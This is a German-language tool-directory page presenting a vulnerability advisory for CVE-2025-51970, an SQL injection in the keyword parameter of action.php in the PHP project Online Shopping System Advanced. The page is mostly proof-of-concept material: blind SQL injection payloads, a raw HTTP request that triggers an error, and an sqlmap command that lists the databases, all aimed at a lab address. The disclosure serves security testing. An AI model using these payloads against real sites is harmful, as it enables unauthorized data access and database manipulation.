Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-51970 — SQL-Injection in Online Shopping System Advanced (CVE-2025-51970) | Kitploit
Tools/GitHubGitHub/m4xiq/cve-2025-51970
SchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsDatenbanksicherheit
GitHubm4xiq/cve-2025-51970

CVE-2025-51970

SQL-Injection in Online Shopping System Advanced (CVE-2025-51970)

Repository anzeigen
1vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-51970

CVE-2025-51970 - SQL-Injection in Online Shopping System Advanced

Zusammenfassung

Eine kritische SQL-Injection-Schwachstelle wurde im Projekt Online Shopping System Advanced von PuneethReddyHC entdeckt. Der Fehler befindet sich in action.php, das die Benutzereingaben des keyword-POST-Parameters nicht ordnungsgemäß bereinigt. Ein Angreifer kann bösartiges SQL einschleusen, um Daten zu extrahieren oder die Datenbank zu manipulieren.

Technische Details

  • Schwachstellentyp: SQL-Injection
  • Betroffene Datei: action.php
  • Parameter: keyword (via POST)
  • Betroffene Version: 1.0
  • Angriffstyp: Remote
  • Auswirkung: Unbefugter Datenzugriff, Datenbankmanipulation

Proof of Concept (PoC)

True Payload (umgeht Logik)

e%' AND ((42)=(43-1)) AND '0004XX7'!='0004XX7%

False Payload (scheitert an Logik)

e%' AND ((42)=(43)) AND '0004XX7'!='0004XX7%

HTTP-Anfrage

root@kitploit:~
<Highlight language="http">
POST /online-shopping-system-advanced-master/action.php HTTP/1.1
Host: 192.168.1.109
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Referer: http://192.168.1.109/online-shopping-system-advanced-master/
Content-Length: 75
Connection: close
keyword=test'&search=1
</Highlight>

HTTP-Antwort

root@kitploit:~
HTTP/1.1 200 OK
Date: Sun, 20 Jul 2025 10:07:50 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12

Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; 
check the manual that corresponds to your MariaDB server version for the right 
syntax to use near ''' at line 1 in 
C:\xampp\htdocs\online-shopping-system-advanced-master\action.php:193

Datenbank-Fingerprint-Beispiel

SELECT database(); -- Returns `onlineshop`
root@kitploit:~
e%' AND 2*3*8=6*8 AND '0004XX7'!='0004XX7%
e%' AND 3*2>5 AND '0004XX7'!='0004XX7%
e%' AND 3*2*0>=0 AND '0004XX7'!='0004XX7%

Automatisierte Ausnutzung mit sqlmap

Die Schwachstelle kann mit sqlmap bestätigt und automatisch ausgenutzt werden.

Verwendeter Befehl

root@kitploit:~
sqlmap -u "http://192.168.1.109/action.php" --data="keyword=test&search=1" --dbs

Ausgabe

root@kitploit:~
[13:07:39] [INFO] fetching database names
available databases [6]:
[*] information_schema
[*] mysql
[*] onlineshop
[*] performance_schema
[*] phpmyadmin
[*] test
Bild
Tool herunterladen